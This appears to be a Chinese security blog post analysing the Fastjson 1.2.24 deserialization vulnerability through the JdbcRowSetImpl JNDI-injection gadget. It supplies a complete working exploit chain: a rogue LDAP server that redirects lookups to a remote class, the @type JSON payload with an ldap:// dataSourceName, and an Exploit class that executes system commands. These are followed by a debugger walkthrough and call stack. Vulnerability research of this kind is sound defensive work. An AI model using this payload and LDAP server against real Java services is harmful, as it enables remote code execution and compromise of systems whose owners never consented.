Web
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
直奔主题,这里是1.2.24版本,使用JDK里的JdbcRowSetImpl.class(com.sun.rowset)进行漏洞利用,也就是JdbcRowSetImpl的Gadget。
因为这个Gadget本质上是一个JNDI注入,所以能否成功利用和JDK版本有关。
基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。
很明显,LDAP的利用方式对于JDK的版本更宽泛些。
漏洞利用和调试需要的外部依赖:
JDK1.8.0_102
fastjson-1.2.24
unboundid-ldapsdk-4.0.9
使用IDEA开始测试,首先搭建LDAP服务器,监听在1389端口
LdapServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#Exploit"; int port = 1389;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
JdbcRowSetImpPoc.java,注意这里使用的是JSON.parse(payload),但其实JSON.parseObject(payload)同样是可以触发的。
注意这里的这个payload:
1
| {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
|
1 2 3 4 5 6 7 8
| import com.alibaba.fastjson.JSON;
public class JdbcRowSetImpPoc { public static void main(String[] args){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":true}"; JSON.parse(payload); } }
|
Exploit.java,注意将Exploit.java编译成class文件,然后将Exploit.class文件置于web服务目录下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class Exploit{ public Exploit() { try { String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe","/c", "calc.exe"} : new String[]{"/bin/bash","-c", "touch /tmp/hacked"}; Runtime.getRuntime().exec(cmds); } catch (Exception e) { e.printStackTrace(); } }
public static void main(String[] args) { Exploit e = new Exploit(); } }
|
首先在JdbcRowSetImpPoc.java里的JSON.parse(payload)处打断点
跟入,发现进入DefaultJSONParser继续解析
继续跟,进入parseObject
上面的payload里通过@type来指定反序列化的类并调用其getter/setter方法
Fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作。
调试进入下面的条件语句,调用scanSymbol()函数扫描到com.sun.rowset.JdbcRowSetImpl类后,再调用TypeUtils.loadClass()函数将该类加载进来:
继续调试,调用了FastjsonASMDeserializer.deserialze()对com.sun.rowset.JdbcRowSetImpl类进行了反序列化操作
继续跟
这里使用了ASM动态字节码技术,F7继续往下调试的时候会发现一直没有反应
一种方式是一直按F8,一直按到slot_33出现
另外一种方式是直接搜索setAutoCommit(并在改接口类上打断点
然后F9放行,可以看到进入setAutoCommit的实现类里断住
为什么搜索setAutoCommit,由于PoC设置了dataSourceName键值和autoCommit键值,因此在JdbcRowSetImpl中的setDataSourceName()和setAutoCommit()函数都会被调用,因为它们均满足Fastjson在反序列化时会自动调用的setter方法的特征。
Fastjson会对满足下列要求的setter/getter方法进行调用:
满足条件的setter:
- 函数名长度大于4且以set开头
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 函数名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
回头再看刚才ASM那里的调用,要到slot_33的时候才会往下走
因为conn是null,接着进入this.connect()函数里,可以看到调用了InitialContext.lookup(this.getDataSourceName()),这里是JDNI注入点
然后就远程加载了Exploit.class,执行了系统命令。
调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| connect:624, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) main:6, JdbcRowSetImpPoc
|
参考链接:
https://www.mi1k7ea.com/2019/11/07/Fastjson%E7%B3%BB%E5%88%97%E4%BA%8C%E2%80%94%E2%80%941-2-22-1-2-24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://cloud.tencent.com/developer/article/1599209